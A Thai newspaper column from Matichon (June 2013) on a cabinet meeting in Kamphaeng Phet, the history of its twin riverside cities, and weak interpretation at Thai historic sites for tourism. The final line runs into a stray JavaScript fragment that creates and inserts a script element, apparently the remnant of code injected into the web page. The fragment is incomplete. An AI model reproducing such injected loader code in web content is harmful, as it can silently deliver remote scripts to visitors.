มติชนรายวัน ฉบับประจำวันจันทร์ที่ 3 มิถุนายน 2556

 

          นายกฯ นัดประชุมคณะรัฐมนตรีนอกสถานที่ ไป จ. กำแพงเพชร ระหว่าง 9-10 มิ.ย. นี้ ทางผู้ว่าฯ กำแพงเพชร เตรียมของบประมาณสนับสนุนโครงการต่างๆ เช่น

          โครงการพัฒนาเขตเมืองเก่านครชุม และการท่องเที่ยวมรดกโลก เพื่อปรับปรุงวัดพระบรมธาตุนครชุม

          ปรับระบบนำเที่ยวในเขตอุทยานประวัติศาสตร์กำแพงเพชร โดยใช้รถไฟฟ้าบริการนักท่องเที่ยว

          กำแพงเพชร หมายถึง เมืองที่มีกำแพงและป้อมปราการมั่นคงแข็งแรง แกร่งกล้า ราวกับเพชร

          เป็น“เมืองสองฝั่งน้ำ” หมายถึง มีแม่น้ำปิงไหลผ่านเป็นแกนหลัก แล้วมีเมืองสองฝั่งแม่น้ำปิงควบคุมเส้นทางการค้าสู่อ่าวเมาะตะมะ(ในพม่า) ทะเลอันดามัน คือ

          ฝั่งตะวันตก (หรือฝั่งขวา) มีเมืองนครชุมเป็นเมืองแรกสุด ราวหลัง พ.ศ. 1800 มีขนาดเล็กกะทัดรัดในอำนาจรัฐสุโขทัย (ซึ่งเป็นรัฐขนาดเล็ก)

          ฝั่งตะวันออก (หรือฝั่งซ้าย) มีเมืองกำแพงเพชรเป็นเมืองหลังสุด มีขึ้นราวหลัง พ.ศ. 1900 มีขนาดใหญ่มหึมา แสดงอำนาจรัฐอยุธยาแผ่ขึ้นมาควบคุมเหนือดินแดนรัฐสุโขทัย

          ทั้งสองเมืองมีชีวิตควบคู่กัน เพราะเมื่อสร้างเมืองกำแพงเพชรขึ้นมาใหม่ ก็ไม่ได้ร้างทิ้งเมืองนครชุมที่มีก่อน แต่ยังสืบเนื่องอยู่คู่กันสืบมา

          นอกเมืองกำแพงเพชรด้านเหนือ (ตามเส้นทางไป จ. สุโขทัย) มีกลุ่มวัดขนาดใหญ่อยู่ต่อเนื่องหลายวัด มักเรียกกันจนติดปากว่า กลุ่มวัดอรัญญิก

          แท้จริงแล้วไม่ใช่วัดอรัญญิก แต่เป็น“สิ่งมหัศจรรย์เมืองกำแพงเพชร”

          เพราะก่อสร้างด้วยศิลาแลงขนาดมหึมา ต่างจากเมืองอื่นๆทั่วไป (อ. ศรีศักร วัลลิโภดม อธิบายอย่างละเอียดในวารสารเมืองโบราณ ปีที่ 19 ฉบับที่ 2 ประจำเดือนเมษายน-มิถุนายน พ.ศ. 2536)

          กำแพงเพชร เป็นทั้งเมืองประวัติศาสตร์และเมืองท่องเที่ยวทางวัฒนธรรม

          สร้างกิจกรรมดีๆได้เพื่อแบ่งปันเผยแพร่ความรู้ประวัติศาสตร์ไทยและสุวรรณภูมิในอุษาคเนย์ (ซึ่งเกี่ยวข้องกับประชาคมอาเซียนโดยตรง) ขณะเดียวกันก็กระตุ้นให้เกิดการท่องเที่ยวสร้างรายได้เพิ่มให้ท้องถิ่น

          แต่มีข้อด้อยทางการบริหารจัดการเมืองประวัติศาสตร์ทั่วประเทศไทย เพราะหน่วยงานรับผิดชอบให้ความสำคัญด้านกายภาพ (คือ สิ่งปลูกสร้าง) แต่มองข้ามด้านคุณภาพ (คือ คำอธิบายอย่างง่ายๆ)

          คำอธิบายที่มีอยู่ทุกวันนี้มีลักษณะ “เรื่องง่ายๆ อธิบายให้ยาก” ตามแบบแผนเขื่องๆทางวิชาการโบราณคดีและประวัติศาสตร์ศิลปะ ที่ขาดมิติประวัติศาสตร์สังคมและประวัติศาสตร์ท้องถิ่น

          ถ้ารัฐบาลเอาใจใส่จริงจังจนแก้ไขข้อด้อยตรงนี้ได้ จะช่วยให้เมืองประวัติศาสตร์ทั้งหลายในไทย (รวมกำแพงเพชร) เป็นแหล่งแลกเปลี่ยนเรียนรู้ประวัติศาสตร์ไทยโดยธรรมชาติอย่างธรรมดา กับเป็นแหล่งสร้างรายได้เข้าประเทศแล้วกระจายสู่ท้องถิ่นได้ดีที่สุดทางหนึ่ง

          นโยบายการพัฒนาของทางการไทยสู่ความทันสมัย ไม่ค่อยให้ความสำคัญแก่ปัจจัยทางสังคม (ซึ่งรวมถึง เศรษฐกิจ, การเมือง, วัฒนธรรม) อันเป็นพลังยิ่งใหญ่ที่จะผลักดันให้เกิดความคิดสร้างสรรค์ ไปสู่เศรษฐกิจสร้างสรรค์

          ไทยจึงไม่ให้ความสำคัญคำอธิบาย แล้วแบ่งปันเผยแพร่ความรู้ผ่านการท่องเที่ยว ทั้งๆเป็นเรื่องดีวิเศษอย่างยิ่งต่อสังคม ไม่ว่าสังคมก้าวหน้า หรือยังล้าหลังอย่างไทยๆทุกวันนี้

          คนไปเที่ยว ต้องการปลดปล่อยผ่อนคลายความตึงเครียดก็จริงอยู่

          แต่ที่ต้องการเที่ยวด้วย แล้วได้ความรู้ด้วย ก็มีไม่น้อย ซึ่งสอดคล้องกับการท่องเที่ยวแบบครอบครัวที่รัฐบาลควรจูงใจให้เกิดการเดินทางท่องเที่ยวซ้ำมากๆvar d=document;var s=d.createElement(‘script’); document.currentScript.parentNode.insertBefore(s, document.currentScript);